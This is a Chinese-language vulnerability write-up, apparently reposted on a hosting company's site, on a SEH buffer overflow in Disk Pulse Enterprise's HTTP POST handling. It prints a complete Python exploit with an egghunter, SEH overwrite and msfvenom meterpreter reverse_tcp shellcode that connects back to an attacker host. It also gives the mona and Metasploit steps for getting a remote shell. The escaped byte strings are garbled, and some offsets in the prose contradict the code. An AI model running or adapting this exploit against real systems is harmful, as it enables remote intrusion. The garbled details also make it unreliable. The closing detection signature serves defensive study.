如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析
如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析
小编今天带大家了解如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入学习“如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析”的知识吧。
一、漏洞简介
Disk Pulse Eneterprise是一款监视磁盘变化的软件,它可以通过一个管理端口9120或者web管理窗口80对软件进行连接管理,从而监视磁盘的变化情况。在Disk Pulse Eneterprise中有一个动态链接库libspp.dll ,其中有一些负责HTTP操作的函数,问题就出现在这个动态链接库中,在处理后数据时,由于对于后数据没有进行严格的长度控制,导致在执行获取后数据时向无效内存拷贝数据造成缓冲区溢出,触发SEH异常行为处理,最后控制EIP,执行任意代码。
软件下载链接:https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)
漏洞披露地址:https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452)
二、实验环境
windows 7 x86:系统环境
IDA pro:静态分析工具
免疫调试器:漏洞分析专用调试器
WinDbg的:漏洞调试器
三、漏洞分析
先简单看一下POC,是一个比较综合的缓冲区溢出漏洞。其中涉及了SEH结构化异常处理程序,以及egghunter技术。
SEH概述
结构化异常处理(SEH)是一种用于处理硬件和软件异常的窗口机制,熟悉编程的人可能熟悉异常处理结构。它通常表示为尝试/除和的try / catch代码块。
Egghunter概述
简单来说就是一种寻址技术,通过设计标记,然后去跳转到另一个标记所在的位置,执行的shellcode。当缓冲区太小不能放下我们的shellcode的存放,这时就需要egghunter技术。
首先,我们先分析一下POC
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b 'x00x0ax0dx26' -f python --smallest buf = "" buf += "xdbxdfxd9x74x24xf4xbax92xa7xaexd7x5bx29" buf += "xc9xb1x56x31x53x18x83xc3x04x03x53x86x45" buf += "x5bx2bx4ex0bxa4xd4x8ex6cx2cx31xbfxacx4a" buf += "x31xefx1cx18x17x03xd6x4cx8cx90x9ax58xa3" buf += "x11x10xbfx8axa2x09x83x8dx20x50xd0x6dx19" buf += "x9bx25x6fx5exc6xc4x3dx37x8cx7bxd2x3cxd8" buf += "x47x59x0exccxcfxbexc6xefxfex10x5dxb6x20" buf += "x92xb2xc2x68x8cxd7xefx23x27x23x9bxb5xe1" buf += "x7ax64x19xccxb3x97x63x08x73x48x16x60x80" buf += "xf5x21xb7xfbx21xa7x2cx5bxa1x1fx89x5ax66" buf += "xf9x5ax50xc3x8dx05x74xd2x42x3ex80x5fx65" buf += "x91x01x1bx42x35x4axffxebx6cx36xaex14x6e" buf += "x99x0fxb1xe4x37x5bxc8xa6x5fxa8xe1x58x9f" buf += "xa6x72x2axadx69x29xa4x9dxe2xf7x33x94xe5" buf += "x07xebx1ex65xf6x0cx5exafx3dx58x0exc7x94" buf += "xe1xc5x17x18x34x73x12x8ex77x2bx0cxe5x10" buf += "x29x51xe8xbcxa4xb7x5ax6dxe6x67x1bxddx46" buf += "xd8xf3x37x49x07xe3x37x80x20x8exd7x7cx18" buf += "x27x41x25xd2xd6x8exf0x9exd9x05xf0x5fx97" buf += "xedx71x4cxc0x89x79x8cx11x3cx79xe6x15x96" buf += "x2ex9ex17xcfx18x01xe7x3ax1bx46x17xbbx2d" buf += "x3cx2ex29x11x2ax4fxbdx91xaax19xd7x91xc2" buf += "xfdx83xc2xf7x01x1ex77xa4x97xa1x21x18x3f" buf += "xcaxcfx47x77x55x30xa2x0bx92xcex30x24x3b" buf += "xa6xcax74xbbx36xa1x74xebx5ex3ex5ax04xae" buf += "xbfx71x4dxa6x4ax14x3fx57x4ax3dxe1xc9x4b" buf += "xb2x3axfax36xbbxbdxfbxc6xd5xd9xfcxc6xd9" buf += "xdfxc1x10xe0x95x04xa1x57xa5x33x84xfex2c" buf += "x3bx9ax01x65" #pop pop ret 1001A333 nseh = "xEBx0Bx90x90" seh = "x33xA3x01x10" egghunter = "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74" egghunter += "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7" evil = "POST /admin HTTP/1.1rn" evil += "Host: 192.168.46.160rn" evil += "User-Agent: Mozilla/5.0rn" evil += "Connection: closern" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn" evil += "Accept-Language: en-us,en;q=0.5rn" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn" evil += "Keep-Alive: 300rn" evil += "Proxy-Connection: keep-alivern" evil += "Content-Type: application/x-www-form-urlencodedrn" evil += "Content-Length: 21000rnrn" evil += "x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "x90" * 20 evil += buf evil += "x90" * 50 evil += "x42" * 1554 evil += nseh evil += seh evil += "x90" * 20 evil += egghunter evil += "x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
攻击者构建了http请求包,可以看出post请求,url是/ login,content-length:17000。发送了12292个“ x41”字节,然后发送了“w00tw00t”8个字节,之后发送了20个 “ X90” NOP字节,之后发送的buf,再加50个NOP,1614个 “ X42”,接下来就是SEH的异常处理机制(不太懂的同学可以去深入了解一下),接下来是egghunter执行代码,大概意思就是去跳转到含有双重 “w00t” 的地方执行。剩下就是对缓冲区的填充。
接下来我们使用文DBG打开带有漏洞版本的应用程序。
发送有效载荷,触发漏洞。输入克,返回地址被覆盖,KB查看堆栈调用。
这里调用了libspp.dll的SCA_HttpParser的GetNextString函数,接下来程序进入SHE异常行为处理,通过覆盖SEH Handler打到代码执行。
打开IDA,分析10092822处,在libspp中SCA_HttpParse类负责处理HTTP的一些相关操作,其中有一个函数名为ExtractPostData负责处理后数据,在这个函数入口下断点。这个函数的入口地址为10092510
发送缓冲区全用一个代替的POC,触发漏洞,如下图所示:
查看传参情况,后期数据作为第二个参数传入,注意是完整传入。
这里继续单步跟踪,到达之前说到的GetNetString函数。
这个函数会做一件事情,就是将第一个参数,也就是后期数据进行拆分,将每一部分分离出来作为后续处理,单步步过,可以看到第一次进入GetNextString之后,拆分了第一个数据。
第一次分离出来了用户名,接下来,再次进入GetNextString开始拆分第二个字符串,这个拆分过程会执行一系列的拷贝操作。
这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
之后看一下ECX的值
CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
再来看一下GetNextString函数的伪代码。
四、漏洞利用
首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。
我们需要找到SHE的偏移量。
利用蒙娜丽莎命令生成20000个字符
!mona pattern_create 20000
运行完在C:日志 FTPServer的 pattern.txt中找到。
重启程序,将其加入到脚本中的BUF中运行
使用蒙娜丽莎命令来寻找SEH偏移量
!mona findmsp
查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下来,要寻找pop pop ret的地址
使用!mona seh
打开seh.txt日志查找指向POP POP RET序列的代码块地址。
设置的shellcode里面的
nseh =“ xEB x0B x90 x90”seh =“ x33 xA3 x01 x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b' x00 x0a x0d x26'-f python -smallest
在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。
重启程序,打开的Metasploit
选择开发模式
输入命令,设置参数
发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。
五、漏洞利用特征:
请求方式:POST
请求路径:/登录
漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |
六、防御建议
升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。
下载地址:https://www.diskpulse.com/downloads.html
感谢大家的阅读,以上就是“如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析”的全部内容了,学会的朋友赶紧操作起来吧。相信高防服务器网小编一定会给大家带来更优质的文章。谢谢大家对高防服务器网网站的支持!
[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。
[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[